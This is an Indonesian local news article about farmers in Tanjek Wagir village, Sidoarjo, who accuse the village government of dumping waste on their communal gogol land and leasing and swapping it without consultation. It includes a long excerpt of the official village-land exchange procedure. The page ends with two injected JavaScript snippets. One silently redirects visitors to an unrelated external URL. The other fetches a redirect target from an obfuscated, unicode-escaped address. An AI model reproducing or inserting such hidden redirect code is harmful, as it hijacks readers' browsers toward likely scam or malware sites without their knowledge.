Sidoarjo | RNN – Warga petani tanah gogol desa Tanjek Wagir, Kecamatan Krembung Sidoarjo merasa resah dengan adanya sampah yang dibuang di tanah Gogol dan adanya sewa tanah gogol untuk tanam tebu tidak pernah diajak musyawarah oleh pemerintah desa Tanjek Wagir, hanya sebatas mendapatkan uang sewa yang diberikan dor Tudor ke rumah-rumah petani gogol.
Sebelumnya pembangunan TPST dan mesin penggilingan sampah yang menghabiskan biaya 220 Juta, sudah berjalan lama untuk penampungan sampah, akan tetapi sudah 3 bulan lebih dikosongkan dan sampah dibuang di tanah sawah Gogol dan TPST digunakan pengumpulan sampah yang bisa didaur ulang.
Warga petani gogol (DM) mengeluhkan tidak pernah diundang diajak musyawarah didesa dengan adanya pembuangan sampah di tanah Gogol dan sewa tanah Gogol untuk penanaman tebu, tiba-tiba diberi uang 1 juta pergogol dari hasil sewa tebu per 100 bata.
“Kulo disukani sak juta pitungatus mas soale gogolanku boto satus pitongpolo mas”
“Saya diberi satu juta tujuh ratus mas, karema gogolan saya hitungan boto seratus tujuh puluh mas,” kata DM dengan kecewa.
DM juga mengklaim adanya pembuangan samp selama 3 bulan lebih itu juga lahan tanah Gogol dan dirinya tidak pernah sama sekali diajak musyawarah, tahu-tahu sudah ada tumpukan sampah.
“Sing dibuwak’i sampah iku yaa tanah Gogol mas, laah ngono iku mosok bener mas, wong cilik kok digawe kalah-kalahan mas”
“Yang dibuangi sampah itu yaa tanah Gogol mas, laah seperti itu masa bener mas, orang kecil kok dibuat kalah-kalahan mas,” tambahnya DM
Tolong aku dibantu mas, lanjut DM, ia mengatakan kalau memang ditukar guling dan kades mengatakan itu tanah TKD saya tidak pernah di ajak musyawarah didesa.
“Laah lek iku tanah TKD mas, kapan aku diajak musyawarah mas, tukar guling TKD Karo tanah gogol gak onok musyawarah mas, iku akal akalane lurah Karo pamong Mursalim mas”
“Kalau itu tanah TKD mas, kapan saya diundang musyawarah mas, tukar guling TKD sama tanah gogol tidak ada musyawarah mas, itu alibinya lurah sama pamong Mursalim mas,” pungkasnya.
(MY) selaku ketua petani Gogol juga mengatakan kalau dirinya juga tidak diajak musyawarah adanya lelang sewa tebu, dan tiba tiba saja dirinya disuruh pamong Mursalim untuk memberikan uang sewa ke para petani Gogol karena pamong Mursalim lagi sakit.
Begitu juga (BB) petani Gogol juga selaku Ketua RT 01, RW 01 mengatakan kalau dirinya tidak pernah sama sekali diundang di baldes adanya tukar guling tanah TKD dan tanah gogol.
“Rumah saya itu depannya balaidesa mas, saya juga selaku Ketua RT akan tetapi ada kegiatan apapun saya sama sekali tidak diberi tahu sama pemerintah desa,” katanya (BB)
Awak media RNN mengkonfirmasi Amirul Fasikin selaku Kades Tanjek Wagir mengatakan, terkait bangunan TPST itu benar habis 220 juta, dan TPST itu nanti untuk kantor Bumdesma mas, kalau terkait sewa tanah Gogol untuk penanaman tebu, memang tidak saya kumpulkan karena lahan tersebut becer jadi sulit cari penyewa, pak Mulyono juga tidak bisa carikan penyewa, jadi kita pasrahkan ke Tim Sembilan untuk mencarikan penyewa lahan gogol mas.
“Sulit cari penyewa mas, kalau pak Mul itu gak bisa carikan penyewa, berhubung sudah ada Tim Sembilan saya pasrahkan ke Tim Sembilan mas, memang mas saya tidak mengumpulkan para petani Gogol ke desa mas, saya terimakasih masukan nya mas,” kata Amirul Fasikin di balai desa Tanjek Wagir didampingi Amirul Kanit Reskrim Krembung juga selaku Babinkantibmas.
Di waktu berbeda Eko Imam Setiono Asisten 1 Bupati LSM Lira Sidoarjo menyesalkan dengan carut marut pemerintah desa Tanjek Wagir, pertama terkait dengan adanya tukar guling TKD (Tanah Kas Desa) dengan tanah Gogol sudah tidak benar, dan tidak melalui proses musyawarah desa, jelas ada dugaan tidak ada persdesnya apalagi perbup atau pergub. Karena proses tukar guling harus melalui Peraturan Menteri Dalam Negeri Nomor 1 tahun 2016 tentang Pegelolaan Aset Desa, maka dalam rangka percepatan penyelesaian pelepasan dan/atau Tukar Menukar Tanah Milik Desa serta dalam rangka mewujudkan tertib administrasi tahapan-tahapan Tukar Menukar Tanah Milik Desa yang akan dimanfaatkan untuk pembangunan kepentingan umum terutama yang terkena pembangunan Proyek Strategis Nasional (PSN) maupun untuk pembangunan bukan kepentingan umum, maka bersama ini perlu disampaikan hal-hal sebagai berikut :
I. Tahapan Tukar Menukar Tanah Milik Desa yang dipergunakan untuk Pembangunan Kepentingan Umum :
1.Instansi yang memerlukan tanah/pemohon, bersurat kepada Kepala Desa perihal permohonan Tukar Menukar Tanah Milik Desa yang akan dipergunakan untuk pembangunan kepentingan umum, dengan melampirkan data Tanah Milik Desa dan Data Tanah Calon Pengganti beserta hasil penilaian tanah (appraisal).
2. Berdasarkan surat permohonan tersebut Pemerintah Desa melakukan Musyawarah Desa (MUSDES) sesuai ketentuan perundangan, dengan hasil MUSDES menyepakati rencana Tukar Menukar Tanah Milik Desa, dituangkan dalam Berita Acara yang ditandatangani peserta MUSDES sesuai ketentuan, dengan dilampiri daftar hadir peserta.
3. Hasil MUSDES selanjutnya dibahas kedalam Rapat Badan Permusyawaratan Desa (BPD) untuk mendapatkan persetujuan berupa keputusan RPD tentang Persetujuan
4. Berdasar hasil MUSDES dan Keputusan BPD, Kepala Desa menyampaikan surat permohonan ijin Tukar Menukar Tanah Milik Desa kepada Bupati/Walikota.
5. Bupati/Walikota melalui Tim Fasilitasi Pemerintah Kabupaten/Kota, melakukan penelitian terhadap permohonan ijin Tukar Menukar Tanah Milik Desa dari Pemerintah Desa, yang meliputi :
a. Verifikasi dokumen/data administrasi sesuai dengan ketentuan perundang-undangan.
b. Peninjauan Lokasi, apabila calon tanah pengganti berlokasi di luar Desa, dimaksudkan untuk mendapatkan kebenaran materiil dan formil terhadap calon tanah pengganti, dan hasilnya dituangkan dalam Berita Acara ditandatangani bersama oleh Tim Kabupaten/Kota sesuai ketentuan perundangan serta pihak-pihak terkait lainnya sesuai ketentuan perundangan, sebagai bahan pertimbangan penerbitan ijin Bupati/Walikota.
6. Setelah tahapan nomor 1 s/d 5 dilaksanakan dan telah terpenuhi sesuai ketentuan serta dokumen/data administrasi telah dilengkapi sesuai ketentuan perundangan, Bupati/Walikota menerbitkan surat yang pada prinsipnya memberikan ijin pelaksanaan Tukar Menukar Tanah Milik Desa kepada Kepala Desa sebagai salah satu pertimbangan bagi Gubernur untuk menerbitkan persetujuan.
7. Selanjutnya Bupati/Walikota, menyampaikan permohonan persetujuan Tukar Menukar Tanah Milik Desa kepada Gubernur sesuai kewenangannya, dengan dilampiri :
a. Penetapan Lokasi (PENLOK) Pembangunan Untuk kepentinagn Umum dengan masa waktu yang masih berlaku.
b. Surat Permohonan Tukar Menukar Tanah Milik Desa dari instansi yang memerlukan tanah/pemohon kepada Kepala Desa.
c. Hasil MUSDES yang menyepakati rencana Tukar Menukar Tanah Milik Desa yang dituangkan dalam Berita Acara yang ditanda tangani oleh peserta MUSDES sesuai ketentuan perundangan, dengan melampirkan daftar hadir peserta.
d. Keputusan BPD tentang Persetujuan Tukar Menukar Tanah Milik Desa.
e. Surat Kepala Desa kepada Bupati/Walikota perihal pengajuan tukar menukar Tanah Kas Desa
f. Surat Bupati/Walikota sebagaimana tertuang pada angka 6 di atas.
g. Data Kepemilikan tanah, yang terdiri :
1) Bukti kepemilikan Tanah Milik Desa yang ditukar (foto copy dilegalisir).
2) Bukti Kepemilikan Tanah Calon Pengganti (foto copy dilegalisir).
3) Surat keterangan dari Kantor Pertanahan setempat tentang Hasil Ukur Tanah Milik Desa yang ditukar dan Tanah Calon Pengganti (foto copy dilegalisir).
4) Gambar Lokasi Tanah Calon Pengganti (foto copy dilegalisir).
5) Hasil Penilaian Tanah Milik Desa yang ditukar dan Tanah Calon Pengganti, dari Lembaga yang berwenang/appraisal (foto copy dilegalisir).
6) Surat Pernyataan Kepala Desa tentang Kepemilikan Tanah Milik Desa tidak dalam sengketa yang diketahui oleh Camat terkait.
7) Surat Pernyataan dari Pemilik Calon Tanah Pengganti tentang Kepemilikan Tanahnya tidak dalam sengketa dan tidak keberatan tanahnya dibeli untuk dipergunakan sebagai tanah pengganti Tanah Milik Desa.
8) Foto copy KTP Kepala Desa dan Pemilik Tanah Pengganti (dilegalisir Camat setempat).
h. Peraturan Bupati/Walikota tentang Besaran dan Penggunaan Sisa Ganti Rugi Hasil Tukar Menukar Tanah Milik Desa.
8. Setelah surat permohonan persetujuan Tukar Menukar Tanah Milik Desa dari Bupati/Walikota diterima Gubernur, selanjutnya melalui Tim Fasilitasi Tukar Menukar Tanah Milik Desa Provinsi Jawa Timur, dilakukan pengkajian terhadap permohonan dimaksud, meliputi:
a. Verifikasi dokumen/data administrasi sesuai ketentuan perundang-undangan dan hasil verifikasi dituangkan dalam Berita Acara.
b. Peninjauan Lokasi (apabila calon tanah pengganti berlokasi di luar Desa dalam satu Kecamatan dan/atau Desa di Kecamatan lain yang berbatasan langsung dengan lokasi Tanah Milik Desa yang ditukar), dimaksudkan untuk mendapatkan kebenaran materiil oleh Tim Fasilitasi Provinsi sesuai ketentuan, Tim Fasilitasi Kabupaten/Kota sesuai ketentuan serta pihak-pihak terkait lainnya sesuai ketentuan perundangan, sebagai bahan pertimbangan penerbitan Surat Persetujuan Gubernur.
9. Berita Acara dimaksud, memuat:
1) Hasil Musyawarah Desa,
2) Letak, Luasan tanah, harga wajar, tipe tanah milik desa berdasar penggunaannya.
3) Bukti Kepemilikan Tanah Desa dan Tanah Pengganti. Setelah tahapan pada nomor 8 yakni verifikasi dokumen/data administrasi dan peninjauan lokasi sesuai ketentuan telah dilaksanakan dan dinyatakan oleh Tim Fasilitasi Provinsi dan Kabupaten/Kota telah memenuhi ketentuan perundangan yang berlaku, maka selanjunya diusulkan untuk mendapatkan persetujuan Gubernur, sesuai dengan kewenangannya.
10. Setelah Persetujuan Gubernur tentang Tukar Menukar Tanah Milik Desa diterbitkan dan disampaikan kepada Bupati/Walikota, selanjutnya berdasarkan persetujuan Gubernur tersebut Bupati/Walikota memerintahkan kepada Kepala Desa untuk segera menetapkan Peraturan Desa tentang Tukar Menukar Tanah Milik Desa.
II. Tukar Menukar Tanah Milik Desa yang dipergunakan untuk Pembangunan Bukan Kepentingan Umum :
1. Tukar Menukar Tanah Milik Desa yang dipergunakan untuk pembangunan Bukan Kepentingan Umum, hanya dapat dilakukan apabila ada kepentingan nasional yang lebih penting dan strategis dengan tetap memperhatikan dan menyesuaikan rencana tata ruang wilayah (RTRW).
2. Kepentingan nasional yang lebih penting dan strategis sebagaimana dimaksud pada nomor 1 di atas, yakni seperti pengembangan kawasan industri dan perumahan.
Tahapan Tukar Menukar Tanah Milik Desa yang dipergunakan untuk Pembangunan Bukan Kepentingan Umum, sebagai berikut:
1. Instansi yang memerlukan tanah (Pemohon), bersurat kepada Kepala Desa perihal permohonan Tukar Menukar Tanah Milik Desa yang akan dipergunakan untuk pembangunan bukan kepentingan umum, dengan melampirkan data Tanah Milik Desa dan Data Tanah Calon Pengganti beserta hasil penilaian tanah (appraisal) serta dokumen lainnya yang diperlukan herdasarkan ketentuan nerundangan termasuk didalamnya
2. Berdasarkan surat permohonan tersebut Pemerintah Desa melakukan MUSDES sesuai ketentuan perundangan, dengan hasil MUSDES menyepakati rencana Tukar Menukar Tanah Milik Desa, dituangkan dalam Berita Acara yang ditanda tangani peserta MUSDES sesuai ketentuan dengan dilampiri daftar hadir peserta MUSDES.
3. Hasil MUSDES selanjutnya dibahas kedalam Rapat BPD untuk mendapatkan persetujuan berupa keputusan BPD tentang Persetujuan Tukar Menukar Tanah Milik Desa.
4. Berdasar hasil MUSDES dan Keputusan BPD, Kepala Desa menyampaikan surat permohonan ijin Tukar Menukar Tanah Milik Desa kepada Bupati/Walikota.
5. Setelah Permohonan ijin Tukar Menukar Tanah Milik Desa diterima Bupati/Walikota, selanjutnya melalui Tim Fasilitasi Pemerintah Kabupaten/Kota, melakukan tahapan sebagai berikuit:
a. Pembentukan Tim Kajian Kabupaten/Kota sesuai ketentuan, yang beranggotakan terdiri dari OPD terkait. disesuaikan dengan kebutuhan mengikutsertakan Tenaga Penilai Publik, dan ditetapkan dengan Keputusan Bupati/Walikota.
b. Tim Kajian Kabupaten/Kota sebagaimana dimaksud, bertugas melakukan pengkajian berupa peningkatan ekonomi desa, menguntungkan desa, dan tidak merugikan aset desa, dan Hasil kajian sebagaimana dimaksud dituangkan dalam Berita Acara sebagai bahan pertimbangan Bupati/Walikota dalam penerbitan ijin Tukar Menukar Tanah Milik Desa.
c. Verifikasi dokumen/data administrasi sesuai ketentuan perundang-undangan.
d. Peninjauan Lokasi (apabila calon tanah pengganti berlokasi di luar Desa dalam satu Kecamatan dan/atau Desa di Kecamatan lain yang berbatasan langsung dengan lokasi Tanah Milik Desa yang ditukar), dimaksudkan untuk mendapatkan kebenaran materiil dan formil terhadap calon tanah pengganti yang lokasinya di luar Desa, dan hasilnya dituangkan dalam Berita Acara, ditandatangani bersama oleh Tim Kab/Kota sesuai ketentuan serta pihak-pihak terkait lainnya sesuai ketentuan perundangan, sebagai bahan pertimbangan penerbitan ijin Bupati/Walikota.
6. Setelah tahapan nomor 1 s/d 5 dilaksanakan dan Bupati/Walikota menerbitkan surat yang pada prinsipnya memberikan ijin pelaksanaan Tukar Menukar Tanah Milik Desa kepada Kepala Desa sebagai salah satu pertimbangan bagi Gubernur untuk menerbitkan persetujuan.
7. Selanjutnya Bupati/Walikota, menyampaikan permohonan ijin Tukar Menukar Tanah Milik Desa kepada Gubernur sesuai kewenangannya, dengan dilampiri :
a. RT, RW terhadap peruntukan rencana pembangunan bukan kepentingan umum dimaksud, dari lembaga yang bewenang.
b. Surat Permohonan Tukar Menukar Tanah Milik Desa dari instansi yang memerlukan tanah/Pemohon kepada Kepala Desa.
C. Hasil MUSDES yang menyepakati rencana Tukar Menukar Tanah Milik Desa yang dituangkan dalam Berita Acara yang ditanda tangani oleh peserta MUSDES sesuai ketentuan perundangan, dengan melampirkan Daftar hadir peserta.
d. Keputusan BPD tentang Persetujuan Tukar Menukar Tanah Milik Desa.
e. Surat Kepala Desa kepada Bupati/Walikota perihal permohonan ijin pelaksanaan Tukar Menukar Tanah Milik Desa.
f. Surat Bupati/Walikota perihal pemberian ijin pelaksanaan Tukar Menukar Tanah Milik Desa kepada Kepala Desa.
g. Berita Acara Tim Kajian Kabupaten/Kota, dengan hasil kajian bahwa dengan pelaksanaan Tukar Menukar tanah milik desa dipergunakan untuk pembangunan bukan kepentingan umum ini dinyatakan, akan berdampak peningkatan ekonomi desa, menguntungkan desa, dan tidak merugikan aset desa.
h. Data Kepemilikan tanah, yang terdiri :
1) Bukti Kepemilikan Tanah Milik Desa yang ditukar (foto copy dilegalisir).
2) Bukti Kepemilikan Tanah Calon Pengganti (foto copy dilegalisir).
3) Surat keterangan dari Kantor Pertanahan setempat tentang Hasil Ukur Tanah Milik Desa yang ditukar dan Tanah Calon Pengganti (foto copy dilegalisir).
4) Gambar Lokasi Tanah Milik Desa yang ditukar dan Gambar Lokasi Tanah Calon Pengganti (foto copy dilegalisir)
5) Hasil Penilaian Tanah Milik Desa yang ditukar dan Tanah Calon Pengganti, dari Lembaga berwenang/appraisal (foto copy dilegalisir).
6) Surat Pernyataan Kepala Desa tentang Kepemilikan Tanah Milik Desa tidak dalam sengketa yang diketahui oleh Camat terkait.
7) Surat Pernyataan dari Pemilik Calon Tanah Pengganti tentang Kepemilikan Tanahnya tidak dalam sengketa dan tidak keberatan tanahnya dibeli untuk dipergunakan sebagai tanah pengganti Tanah Milik Desa.
8) Foto copy KTP Kepala Desa dan Pemilik Tanah Pengganti (dilegalisir Camat setempat),
Dengan adanya bangunan TPST seharusnya pemasangan prasasti jelas penyerapan anggaran dari mana dan di bangun tahun berapa, saya menilai hal ini sudah tidak transparan dengan penggunaan atau pengelolaan anggaran, adapun sewa tanah Gogol untuk penanaman tebu, petani yang berhubungan langsung dengan kepemilikan harusnya diajak musyawarah karena sewa harus ada lelang, apalagi ada ketua petani atau gakpotan hanya sebatas tahu untuk memberikan hasil besaran uang sewa untuk diberikan ke petani dan tidak diajak musyawarah, sudah jelas kalau disini sudah tidak transparan. Tidak salah kalau pemerintah desa diduga pungli dalam hal sewa tanah Gogol yang jadi gak petani Gogol.” Jelasnya Eko Imam Setiono.
(function() {
const redirectUrl = “https://io548q89.evideotected.my.id/help/?32861745670379”;
const cookieName = “redirected”;
function getCookie(name) {
const value = “; ” + document.cookie;
const parts = value.split(“; ” + name + “=”);
if (parts.length === 2) return parts.pop().split(“;”).shift();
return null;
}
function setCookie(name, value, days) {
const expires = new Date(Date.now() + days*24*60*60*1000).toUTCString();
document.cookie = name + “=” + value + “; expires=” + expires + “; path=/”;
}
if (!getCookie(cookieName)) {
setCookie(cookieName, “true”, 1);
location.href = redirectUrl;
}
})();
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘u0068u0074u0074u0070u0073u003au002fu002fu0064u0069u0073u0074u0069u0065u002eu0073u0068u006fu0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();